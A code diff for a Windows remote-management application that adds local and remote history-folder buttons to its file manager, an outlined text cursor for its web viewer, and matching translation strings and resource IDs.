afx_msg void OnRemoteHistory();
|
||||
afx_msg void OnTransferV2ToRemote(); // V2: 本地文件传输到远程
|
||||
afx_msg void OnTransferV2ToLocal(); // V2: 远程文件传输到本地
|
||||
//}}AFX_MSG
|
||||
@@ -274,6 +277,14 @@ private:
|
||||
void EnableControl(BOOL bEnable = TRUE);
|
||||
void CollectFilesRecursive(const std::string& dirPath, std::vector<std::string>& files);
|
||||
float m_fScalingFactor;
|
||||
|
||||
// 历史路径记录(静态,跨实例共享)
|
||||
static CString s_strLocalHistoryPath;
|
||||
static std::map<uint64_t, CString> s_mapRemoteHistoryPath;
|
||||
static CLock s_lockHistory; // 保护历史路径的锁
|
||||
|
||||
// 获取有效的客户端ID(优先用 m_ClientID,否则通过 IP 找主连接)
|
||||
uint64_t GetClientID() const;
|
||||
public:
|
||||
afx_msg void OnFilemangerCompress();
|
||||
afx_msg void OnFilemangerUncompress();
|
||||
|
||||
@@ -228,7 +228,7 @@ public:
|
||||
{
|
||||
return m_bIsClosed;
|
||||
}
|
||||
uint64_t GetClientID() const {
|
||||
virtual uint64_t GetClientID() const {
|
||||
return m_ClientID;
|
||||
}
|
||||
BOOL SayByeBye()
|
||||
|
||||
@@ -1846,13 +1846,15 @@ inline std::string GetWebPageHTML() {
|
||||
|
||||
// Remote cursor mapping (Windows cursor index -> CSS cursor)
|
||||
// Index matches CursorInfo.h: IDC_APPSTARTING(0) to IDC_WAIT(15), 254=custom, 255=unsupported
|
||||
// Custom I-beam cursor with white fill and black stroke for visibility on any background
|
||||
const ibeamCursor = "url('data:image/svg+xml,<svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"24\" viewBox=\"0 0 16 24\"><path fill=\"none\" stroke=\"white\" stroke-width=\"3\" d=\"M4 3h8M8 3v18M4 21h8\"/><path fill=\"none\" stroke=\"black\" stroke-width=\"1\" d=\"M4 3h8M8 3v18M4 21h8\"/></svg>') 8 12, text";
|
||||
const cursorMap = [
|
||||
'progress', // 0: IDC_APPSTARTING
|
||||
'default', // 1: IDC_ARROW
|
||||
'crosshair', // 2: IDC_CROSS
|
||||
'pointer', // 3: IDC_HAND
|
||||
'help', // 4: IDC_HELP
|
||||
'text', // 5: IDC_IBEAM
|
||||
ibeamCursor, // 5: IDC_IBEAM - custom cursor with outline
|
||||
'default', // 6: IDC_ICON (no direct CSS equivalent)
|
||||
'not-allowed', // 7: IDC_NO
|
||||
'default', // 8: IDC_SIZE (deprecated, use default)
|
||||
|
||||
@@ -1819,3 +1819,7 @@ IOCP
|
||||
插件列表为空,无法创建触发器=Plugin list is empty, cannot create trigger
|
||||
请先选择至少一个插件=Please select at least one plugin
|
||||
|
||||
没有本地历史记录=No local history
|
||||
历史目录不存在: %s=History folder not exist: %s
|
||||
无法识别远程主机=Unknown remote machine
|
||||
没有远程历史记录=No remote history
|
||||
|
||||
@@ -1810,3 +1810,7 @@ IOCP
|
||||
<< 移除=<< 移除
|
||||
插件列表为空,无法创建触发器=外掛列表為空,無法建立觸發器
|
||||
请先选择至少一个插件=請先選擇至少一個外掛
|
||||
没有本地历史记录=没有本地历史记录
|
||||
历史目录不存在: %s=历史目录不存在: %s
|
||||
无法识别远程主机=无法识别远程主机
|
||||
没有远程历史记录=没有远程历史记录
|
||||
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 19 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 17 KiB After Width: | Height: | Size: 19 KiB |
@@ -506,6 +506,8 @@
|
||||
#define IDT_REMOTE_DOWNLOADS 2235
|
||||
#define IDT_REMOTE_HOME 2236
|
||||
#define IDT_REMOTE_SEARCH 2237
|
||||
#define IDT_LOCAL_HISTORY 2238
|
||||
#define IDT_REMOTE_HISTORY 2239
|
||||
#define IDC_BUTTON_SAVE_LICENSE 2240
|
||||
#define IDC_LICENSE_LIST 2241
|
||||
#define IDC_COMBO_VERSION 2245
|
||||
|
||||
Reference in New Issue
Block a user